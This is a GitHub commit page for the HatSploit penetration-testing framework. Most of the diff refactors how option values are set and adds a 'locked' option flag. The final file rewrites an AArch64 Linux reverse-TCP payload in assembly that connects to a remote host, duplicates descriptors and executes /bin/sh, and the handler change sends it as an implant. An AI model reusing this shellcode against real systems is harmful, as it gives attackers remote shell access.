Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
enty8080 authored Oct 28, 2023
1 parent 0e8e36f commit ed35075
Show file tree
Hide file tree
Showing 9 changed files with 122 additions and 84 deletions.
14 changes: 14 additions & 0 deletions hatsploit/lib/encoder/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,12 +22,16 @@
SOFTWARE.
"""

from typing import Any, Optional

from hatsploit.lib.option import *

from hatsploit.core.cli.badges import Badges
from hatsploit.core.cli.tables import Tables
from hatsploit.core.cli.tools import Tools

from hatsploit.lib.options import Options


class Encoder(Badges, Tables, Tools):
""" Subclass of hatsploit.lib module.
Expand All @@ -51,6 +55,16 @@ def __init__(self) -> None:

self.iterations = IntegerOption(1, "Number of iterations.", False, True)

def set(self, option: str, value: Optional[str] = None) -> bool:
""" Set encoder option.
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return Options().set_option(self, option, value)

def run(self) -> None:
""" Run this encoder.
Expand Down
11 changes: 0 additions & 11 deletions hatsploit/lib/encoders.py
Original file line number Diff line number Diff line change
Expand Up @@ -269,17 +269,6 @@ def add_encoder(self, module: str, payload: str, encoder: str) -> None:
if not self.import_encoder(module, payload, encoder):
raise RuntimeError(f"Failed to select encoder from database: {encoder}!")

def set_option_value(self, encoder: Encoder, option: str, value: Optional[str] = None) -> bool:
""" Set encoder option value.
:param Encoder encoder: encoder object
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return self.options.set_option(encoder, option, value)

@staticmethod
def validate_options(encoder: Encoder) -> list:
""" Validate missed encoder options.
Expand Down
9 changes: 6 additions & 3 deletions hatsploit/lib/handler/send.py
Original file line number Diff line number Diff line change
Expand Up @@ -137,10 +137,13 @@ def send_implant(self, payload: Payload, client: socket.socket) -> None:
step += 1

if hasattr(payload, 'implant'):
time.sleep(.5)
implant = payload.implant()

if implant:
time.sleep(.5)

self.badges.print_process(f"Sending payload ({str(len(implant))} bytes)...")
client.send(implant)
self.badges.print_process(f"Sending payload ({str(len(implant))} bytes)...")
client.send(implant)

def shell_payload(self, payload: Payload, host: str, port: int,
space: int = 2048, encoder: Optional[Encoder] = None,
Expand Down
14 changes: 14 additions & 0 deletions hatsploit/lib/module/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,10 +22,14 @@
SOFTWARE.
"""

from typing import Any, Optional

from hatsploit.core.cli.badges import Badges
from hatsploit.core.cli.tables import Tables
from hatsploit.core.cli.tools import Tools

from hatsploit.lib.options import Options


class Module(Badges, Tables, Tools):
""" Subclass of hatsploit.lib module.
Expand All @@ -49,6 +53,16 @@ def __init__(self) -> None:
'Rank': ""
}

def set(self, option: str, value: Optional[str] = None) -> bool:
""" Set module option.
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return Options().set_option(self, option, value)

def run(self) -> None:
""" Run this module.
Expand Down
19 changes: 4 additions & 15 deletions hatsploit/lib/modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -302,7 +302,7 @@ def add_module(self, module: str) -> None:
if payload_name:
self.badges.print_process(f"Using default payload {payload_name}...")

if self.set_option_value(module_object, 'payload', payload_name):
if module_object.set('payload', payload_name):
return

self.go_back()
Expand Down Expand Up @@ -479,17 +479,6 @@ def get_current_advanced(self) -> dict:

return options

def set_option_value(self, module: Module, option: str, value: Optional[str] = None) -> bool:
""" Set module option value.
:param Module module: module object
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return self.options.set_option(module, option, value)

def set_current_module_option(self, option: str, value: Optional[str] = None) -> None:
""" Set current module option value.
Expand All @@ -506,15 +495,15 @@ def set_current_module_option(self, option: str, value: Optional[str] = None) ->
if not module:
raise RuntimeWarning("No module selected.")

if self.set_option_value(module, option, value):
if module.set(option, value):
self.badges.print_information(f"{option} => {value}")
return

if payload and self.payloads.set_option_value(payload, option, value):
if payload and payload.set(option, value):
self.badges.print_information(f"{option} => {value}")
return

if encoder and self.encoders.set_option_value(encoder, option, value):
if encoder and encoder.set(option, value):
self.badges.print_information(f"{option} => {value}")
return

Expand Down
33 changes: 26 additions & 7 deletions hatsploit/lib/options.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@ def __init__(self, value: Any = None, description: Optional[str] = None,
self.big = b''

self.visible = True
self.locked = False

if value is not None:
self.set(value)
Expand Down Expand Up @@ -114,13 +115,30 @@ def check(name: str, checker: Callable[[str], bool], value: Optional[str] = None
if not checker(value):
raise RuntimeError(f"Invalid value, expected valid {name}!")

def set(self, value):
self.value = value
def set(self, value: Any) -> None:
""" Set current option value.
:param Any value: value
:return None: None
"""

if not self.locked:
self.value = value

def get(self) -> Any:
""" Get current option value.
:return Any: value
"""

def get(self):
return self.value

def unset(self):
def unset(self) -> None:
""" Unset current option value.
:return None: None
"""

self.value = None


Expand Down Expand Up @@ -149,7 +167,7 @@ def set_option(object: Any,
if option in object.advanced:
attr = getattr(object, option)

if attr.visible:
if attr.visible and not attr.locked:
if value is not None:
attr.set(value)
object.advanced[option]['Value'] = str(value)
Expand All @@ -163,7 +181,7 @@ def set_option(object: Any,
if option in object.options:
attr = getattr(object, option)

if attr.visible:
if attr.visible and not attr.locked:
if value is not None:
attr.set(value)
object.options[option]['Value'] = str(value)
Expand Down Expand Up @@ -210,7 +228,8 @@ def add_options(object: Any) -> None:
'Value': option.value,
'Description': option.description,
'Required': option.required,
'Visible': option.visible
'Visible': option.visible,
'Locked': option.locked,
}
}
)
16 changes: 14 additions & 2 deletions hatsploit/lib/payload/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,15 +22,17 @@
SOFTWARE.
"""

from typing import Union
from typing import Union, Any, Optional
from pawn import Pawn

from hatsploit.lib.option import *
from hatsploit.lib.option import BytesOption

from hatsploit.core.cli.badges import Badges
from hatsploit.core.cli.tables import Tables
from hatsploit.core.cli.tools import Tools

from hatsploit.lib.options import Options


class Payload(Badges, Tables, Tools, Pawn):
""" Subclass of hatsploit.lib module.
Expand Down Expand Up @@ -58,6 +60,16 @@ def __init__(self) -> None:

self.badchars = BytesOption(None, "Bad characters to omit.", False, True)

def set(self, option: str, value: Optional[str] = None) -> bool:
""" Set payload option.
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return Options().set_option(self, option, value)

def phase(self) -> Union[bytes, None]:
""" First phase.
Expand Down
15 changes: 2 additions & 13 deletions hatsploit/lib/payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -295,17 +295,6 @@ def add_payload(self, module: str, payload: str) -> None:
if not self.import_payload(module, payload):
raise RuntimeError(f"Failed to select payload from database: {payload}!")

def set_option_value(self, payload: Payload, option: str, value: Optional[str] = None) -> bool:
""" Set payload option value.
:param Payload payload: payload object
:param str option: option name
:param Optional[str] value: option value
:return bool: True if success else False
"""

return self.options.set_option(payload, option, value)

def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[str] = None,
implant: bool = False) -> Any:
""" Generate payload using specific payload and encoder.
Expand All @@ -322,13 +311,13 @@ def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[s

if payload:
for option in options:
self.set_option_value(payload, option, options[option])
payload.set(option, options[option])

if encoder:
encoder = self.encoders.get_encoder(encoder)

for option in options:
self.encoders.set_option_value(encoder, option, options[option])
encoder.set(option, options[option])

return self.run_payload(payload, encoder, implant)

Expand Down
75 changes: 42 additions & 33 deletions hatsploit/payloads/linux/aarch64/shell_reverse_tcp.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,49 +25,58 @@ def __init__(self):
'Type': "reverse_tcp",
})

def run(self):
def implant(self):
return self.assemble(
self.details['Arch'],
f"""
start:
mov x8, 0xc6
lsr x1, x8, 0x7
lsl x0, x1, 0x1
mov x2, xzr
svc 0x1337
mvn x4, x0
lsl x1, x1, 0x1
movk x1, 0x{self.rport.little.hex()}, lsl 0x10
movk x1, 0x{self.rhost.little[2:].hex()}, lsl 0x20
movk x1, 0x{self.rhost.little[:2].hex()}, lsl 0x30
str x1, [sp, -8]!
add x1, sp, x2
mov x2, 0x10
mov x8, 0xcb
svc 0x1337
"""
bl start
lsr x1, x2, 0x2
path:
.asciz "/bin/sh"
dup:
mvn x0, x4
lsr x1, x1, 0x1
mov x2, xzr
start:
mov x1, 0x3
mov x2, 0
mov x8, 0x18
svc 0x1337
cmp x1, xzr
dup:
mov x0, x12
sub x1, x1, 1
svc 0
cmp x1, 0
bne dup
mov x1, 0x622f
movk x1, 0x6e69, lsl 0x10
movk x1, 0x732f, lsl 0x20
movk x1, 0x68, lsl 0x30
str x1, [sp, -8]!
shell:
adr x0, path
mov x1, xzr
mov x2, xzr
add x0, sp, x1
mov x8, 0xdd
svc 0x1337
svc 0
"""
)

def run(self):
return self.assemble(
self.details['Arch'],
f"""
bl start
addr:
.short 0x2
.short 0x{self.rport.little.hex()}
.word 0x{self.rhost.little.hex()}
start:
mov x0, 0x2
mov x1, 0x1
mov x2, 0
mov x8, 0xc6
svc 0
mov x12, x0
adr x1, addr
mov x2, 0x10
mov x8, 0xcb
svc 0
"""
) + self.implant()

0 comments on commit ed35075

Please sign in to comment.